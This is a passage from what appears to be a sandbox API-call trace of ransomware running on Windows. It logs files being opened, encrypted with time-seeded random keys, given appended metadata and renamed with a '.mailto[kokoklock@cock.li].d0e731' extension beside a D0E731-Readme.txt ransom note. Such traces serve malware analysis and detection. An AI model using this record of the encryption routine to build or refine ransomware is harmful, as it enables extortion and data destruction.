lpBuffer=0x2fe4280*, lpNumberOfBytesWritten=0x926ff08*=0x8, lpOverlapped=0x0) returned 1 [0166.147] WriteFile (in: hFile=0x52c, lpBuffer=0x926ff20*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x926ff08, lpOverlapped=0x0 | out: lpBuffer=0x926ff20*, lpNumberOfBytesWritten=0x926ff08*=0x4, lpOverlapped=0x0) returned 1 [0166.147] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x926ff08, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x926ff08*=0x4, lpOverlapped=0x0) returned 1 [0166.147] WriteFile (in: hFile=0x52c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x926ff08, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x926ff08*=0x6c, lpOverlapped=0x0) returned 1 [0166.148] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe41e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x926ff08, lpOverlapped=0x0 | out: lpBuffer=0x2fe41e0*, lpNumberOfBytesWritten=0x926ff08*=0x20, lpOverlapped=0x0) returned 1 [0166.148] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x926ff08, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x926ff08*=0x4, lpOverlapped=0x0) returned 1 [0166.148] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0166.148] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4320) returned 1 [0166.148] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4280) returned 1 [0166.148] CloseHandle (hObject=0x52c) returned 1 [0166.148] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.148] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.148] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.148] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.149] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.149] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.149] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.149] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.149] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\3076\\" | out: _Dest="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\" [0166.149] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\3076\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\3076\\D0E731-Readme.txt" [0166.149] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\3076\\d0e731-readme.txt")) returned 0x20 [0166.154] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.154] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d6b0) returned 1 [0166.154] RtlExitUserThread (Status=0x1) Thread: id = 1606 os_tid = 0xff4 [0166.155] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.156] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.156] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0166.157] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x92efbb0 | out: lpFileSize=0x92efbb0*=4207) returned 1 [0166.157] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x106b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.157] ReadFile (in: hFile=0x52c, lpBuffer=0x92efb84, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x92efb80, lpOverlapped=0x0 | out: lpBuffer=0x92efb84*, lpNumberOfBytesRead=0x92efb80*=0x4, lpOverlapped=0x0) returned 1 [0166.158] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.158] CloseHandle (hObject=0x52c) returned 1 [0166.158] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.158] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5560) returned 1 [0166.158] RtlExitUserThread (Status=0x0) Thread: id = 1607 os_tid = 0xff8 [0166.159] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.159] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.160] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0166.160] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x936ff1c | out: lpFileSize=0x936ff1c*=80446) returned 1 [0166.160] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x13a3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.160] ReadFile (in: hFile=0x52c, lpBuffer=0x936fef0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x936feec, lpOverlapped=0x0 | out: lpBuffer=0x936fef0*, lpNumberOfBytesRead=0x936feec*=0x4, lpOverlapped=0x0) returned 1 [0166.161] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.161] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.161] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0166.161] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4280 [0166.161] NtQuerySystemTime (in: CurrentTime=0x936fec8 | out: CurrentTime=0x936fec8*=132121213234698861) returned 0x0 [0166.161] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0xe675ea8 [0166.161] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x45c6f6b2 [0166.161] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0xbf8dff9c [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x48834519 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0xa8d53872 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x78218630 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0xd114c700 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x5ca6ddb1 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x3e2e7040 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0xfab178a8 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x67f40677 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x8b2b035b [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0xf9ffb49a [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0xf17b01bb [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x2e3b200a [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0xcfe9b3b4 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0xac458868 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x2fc16e4a [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0xb317e83c [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x5ca7bae4 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x611d15e0 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x447803fc [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0xd531075c [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x6b4702e1 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x332bcee [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0xb7781053 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0xab9adb56 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x5a418814 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x9af64442 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x3f7ca621 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x827a8333 [0166.162] RtlRandom (in: Seed=0x936fed4 | out: Seed=0x936fed4) returned 0x6504c370 [0166.171] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4320 [0166.173] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.173] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe42a8 [0166.173] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.173] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.173] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x301c1a8 [0166.173] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.173] ReadFile (in: hFile=0x52c, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x936fea0, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x936fea0*=0x4096, lpOverlapped=0x0) returned 1 [0166.174] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.174] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0166.174] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0166.174] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe42d0 [0166.174] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe42d0) returned 1 [0166.175] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0166.175] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4050 [0166.175] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4460 [0166.175] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4460) returned 1 [0166.175] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0166.175] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0166.175] WriteFile (in: hFile=0x52c, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x936fea0, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x936fea0*=0x4096, lpOverlapped=0x0) returned 1 [0166.175] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0166.175] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x13a3e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.176] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe4050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x936fed8, lpOverlapped=0x0 | out: lpBuffer=0x2fe4050*, lpNumberOfBytesWritten=0x936fed8*=0x20, lpOverlapped=0x0) returned 1 [0166.176] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4050) returned 1 [0166.176] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x301c1a8) returned 1 [0166.176] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe42a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x936feec, lpOverlapped=0x0 | out: lpBuffer=0x2fe42a8*, lpNumberOfBytesWritten=0x936feec*=0x8, lpOverlapped=0x0) returned 1 [0166.176] WriteFile (in: hFile=0x52c, lpBuffer=0x936ff04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x936feec, lpOverlapped=0x0 | out: lpBuffer=0x936ff04*, lpNumberOfBytesWritten=0x936feec*=0x4, lpOverlapped=0x0) returned 1 [0166.176] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x936feec, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x936feec*=0x4, lpOverlapped=0x0) returned 1 [0166.176] WriteFile (in: hFile=0x52c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x936feec, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x936feec*=0x6c, lpOverlapped=0x0) returned 1 [0166.176] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe41e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x936feec, lpOverlapped=0x0 | out: lpBuffer=0x2fe41e0*, lpNumberOfBytesWritten=0x936feec*=0x20, lpOverlapped=0x0) returned 1 [0166.176] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x936feec, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x936feec*=0x4, lpOverlapped=0x0) returned 1 [0166.176] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0166.176] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4320) returned 1 [0166.176] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe42a8) returned 1 [0166.176] CloseHandle (hObject=0x52c) returned 1 [0166.177] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.177] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.177] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.177] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.177] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.178] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.178] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.178] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.178] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\2070\\" | out: _Dest="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\" [0166.178] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\2070\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\2070\\D0E731-Readme.txt" [0166.178] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\2070\\d0e731-readme.txt")) returned 0x20 [0166.179] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.179] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d758) returned 1 [0166.179] RtlExitUserThread (Status=0x1) Thread: id = 1608 os_tid = 0xffc [0166.180] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.181] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.181] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0166.182] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x93ef858 | out: lpFileSize=0x93ef858*=6019) returned 1 [0166.182] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x177f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.182] ReadFile (in: hFile=0x52c, lpBuffer=0x93ef82c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x93ef828, lpOverlapped=0x0 | out: lpBuffer=0x93ef82c*, lpNumberOfBytesRead=0x93ef828*=0x4, lpOverlapped=0x0) returned 1 [0166.183] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.183] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.183] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0166.183] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe42a8 [0166.183] NtQuerySystemTime (in: CurrentTime=0x93ef804 | out: CurrentTime=0x93ef804*=132121213235010714) returned 0x0 [0166.183] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0xc22e4fe4 [0166.183] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0xb295f96b [0166.183] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0x5119d81b [0166.183] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0xad1c6834 [0166.183] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0xbf4c9663 [0166.183] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0xf4f28c3e [0166.183] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0x1e53344d [0166.183] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0x633ea4ad [0166.183] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0x445a4263 [0166.183] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0xb3e95ad4 [0166.183] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0x58eab0c4 [0166.183] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0x2dc29421 [0166.183] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0x83a3b7db [0166.183] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0xc8026d0c [0166.184] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0xf0a78622 [0166.184] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0xce1c533f [0166.184] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0x6753a96d [0166.184] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0xcf516b06 [0166.184] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0x3448926 [0166.184] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0xa8d36a7e [0166.184] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0x3d0e0eec [0166.184] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0xbad75713 [0166.184] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0x9c1f2978 [0166.184] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0x592c11dd [0166.184] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0xab946811 [0166.184] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0xbba3f5e1 [0166.184] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0x58d29e4c [0166.184] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0x3b2329b9 [0166.184] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0x6aaa9c5 [0166.184] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0x539b0071 [0166.184] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0xd7c31afc [0166.184] RtlRandom (in: Seed=0x93ef810 | out: Seed=0x93ef810) returned 0x841d64fa [0166.193] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4320 [0166.197] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.197] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe42d0 [0166.197] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.197] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.197] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0166.197] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0166.197] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe42f8 [0166.197] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe42f8) returned 1 [0166.198] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x301c1a8 [0166.198] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0166.198] ReadFile (in: hFile=0x52c, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x1783, lpNumberOfBytesRead=0x93ef804, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x93ef804*=0x1783, lpOverlapped=0x0) returned 1 [0166.198] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x93ef7cc | out: lpNewFilePointer=0x0) returned 1 [0166.198] WriteFile (in: hFile=0x52c, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x1783, lpNumberOfBytesWritten=0x93ef800, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x93ef800*=0x1783, lpOverlapped=0x0) returned 1 [0166.199] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4050 [0166.199] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4460 [0166.199] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4460) returned 1 [0166.199] WriteFile (in: hFile=0x52c, lpBuffer=0x2fe4050*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x93ef7fc, lpOverlapped=0x0 | out: lpBuffer=0x2fe4050*, lpNumberOfBytesWritten=0x93ef7fc*=0x20, lpOverlapped=0x0) returned 1 [0166.199] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4050) returned 1 [0166.199] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0166.199] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x301c1a8) returned 1 [0166.199] 